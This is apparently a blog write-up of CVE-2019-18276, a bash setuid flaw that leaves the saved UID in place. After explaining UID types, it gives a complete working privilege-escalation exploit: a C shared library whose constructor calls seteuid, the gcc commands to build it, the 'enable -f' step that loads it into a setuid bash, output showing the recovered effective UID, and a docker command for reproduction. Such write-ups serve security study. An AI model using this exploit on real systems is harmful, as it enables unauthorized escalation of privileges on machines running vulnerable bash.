This exploit was initially based on an older vulnerability back in 1999 (suidperl
). Now after 20 years in 2019 we found the same vulnerability in bash (CVE-2019-18276
) was discovered by Ian Pudney.
TL;DR
The root cause of this vulnerability is that bash doesn’t handle setuid bit correctly, by default bash will drop the SUID privilege if the Real UID is different from the Effective UID, but it forget to drop also the Saved UID.
before we continue let’s first define :
Real UID vs Effective UID vs Saved UID
- Real UserID : It is the owner of the process.
- Effective UserID : By default it is the same as Real UserID, but sometimes it is changed to give more privilege to the user, e.g : setuid bit.
- Saved UserID : Sometimes when a privileged user (generally root) wants to do some non-privileged activities, this can be achieved by temporarily switching to non-privileged account.
setuid() vs seteuid()
- setuid() : This function will change both the (
Real UserID
,Effective UserID
andSaved UserID
) of the current process to the specified value. - seteuid() : This function will change the
Effective UserID
to the specified value. The effective user ID may be set to the value of the real user ID or the saved set-user-ID.
Example
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
seteuid(1001);
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
}
After compiling this code we need to specify the setuid bit on the binary and run it from a different user.
[email protected]:/CVE-2019-18276$ ls -la
total 24
drwxrwxrwt 1 alice alice 4096 Nov 29 09:59 .
drwxr-xr-x 1 alice alice 4096 Nov 28 21:42 ..
-rwsr-xr-x 1 bob bob 8587 Nov 29 09:59 uid
[email protected]:/CVE-2019-18276$ ./uid
UID = 1001 , eUID = 1000
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
UID = 1001 , eUID = 1001
uid=1001(alice) gid=1001(alice) groups=1001(alice)
/bin/bash
[email protected]:/CVE-2019-18276$ ls -la
total 964
drwxr-xr-x 2 alice alice 4096 Nov 28 21:52 .
drwx------ 1 alice alice 4096 Nov 28 22:04 ..
-rwsr-xr-x 1 bob bob 959120 Nov 28 21:49 bash
As we can see the binary bash is set with the setuid bit, which mean that if alice
user run this binary, she will get automatically bob
’s privilege. However this will not happen with bash, because bash by default drops automatically the privilege if the user didn’t specify the -p
option.
Example
[email protected]:/CVE-2019-18276$ ./bash
bash-4.2$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
[email protected]:/CVE-2019-18276$ ./bash -p
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
We are not sure if bash uses
seteuid()
function to drop the privilege, but after some testing we figure out that theSaved UID
didn’t change.
Attacks
bash doesn’t handle setuid bit correctly, which makes us able to recover the dropped privilege. To exploit this vulnerability we need to call the seteuid()
function in order to recover the Saved UID. However the problem here is that we cannot exploit this by calling a binary to execute seteuid()
, we need to call the seteuid()
in the process runtime.
enable -f
enable
is a bash function that can be used to enable and disable builtin shell commands, and with option -f
we can load a shared object.
Exploit
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
// gcc -c -fPIC pwn.c -o pwn.o
// gcc -shared -fPIC pwn.o -o libpwn.so
void __attribute__ ((constructor)) initLibrary(void){
seteuid(1000); // The Saved UID that we want to recover
}
After compiling the code all what we need to do is :
[email protected]:/CVE-2019-18276$ ./bash
bash-4.2$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
bash-4.2$ enable -f ./libpwn.so asd
bash: enable: cannot find asd_struct in shared object ./libpwn.so: ./libpwn.so: undefined symbol: asd_struct
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
bash-4.2$
As you can see we have successfully recovered the dropped privilege.
Download:
To repeat all the steps :
[email protected]:~$ docker run -it -u alice -h suidbash amriunix/cve-2019-18276 /bin/bash
[email protected]:/$ cd CVE-2019-18276/
[email protected]:/CVE-2019-18276$ ls -la
total 980
drwxr-xr-x 2 alice alice 4096 Nov 29 10:57 .
drwxr-xr-x 1 root root 4096 Nov 29 11:22 ..
-rwsr-xr-x 1 bob bob 959120 Nov 28 21:49 bash
-rwxr-xr-x 1 alice alice 7876 Nov 28 21:52 libpwn.so
-rw-r--r-- 1 alice alice 138 Nov 28 21:47 pwn.c
-rw-r--r-- 1 alice alice 1608 Nov 28 21:52 pwn.o
-rwsr-xr-x 1 bob bob 8587 Nov 29 10:57 uid
-rw-r--r-- 1 root root 206 Nov 29 10:57 uid.c
[email protected]:/CVE-2019-18276$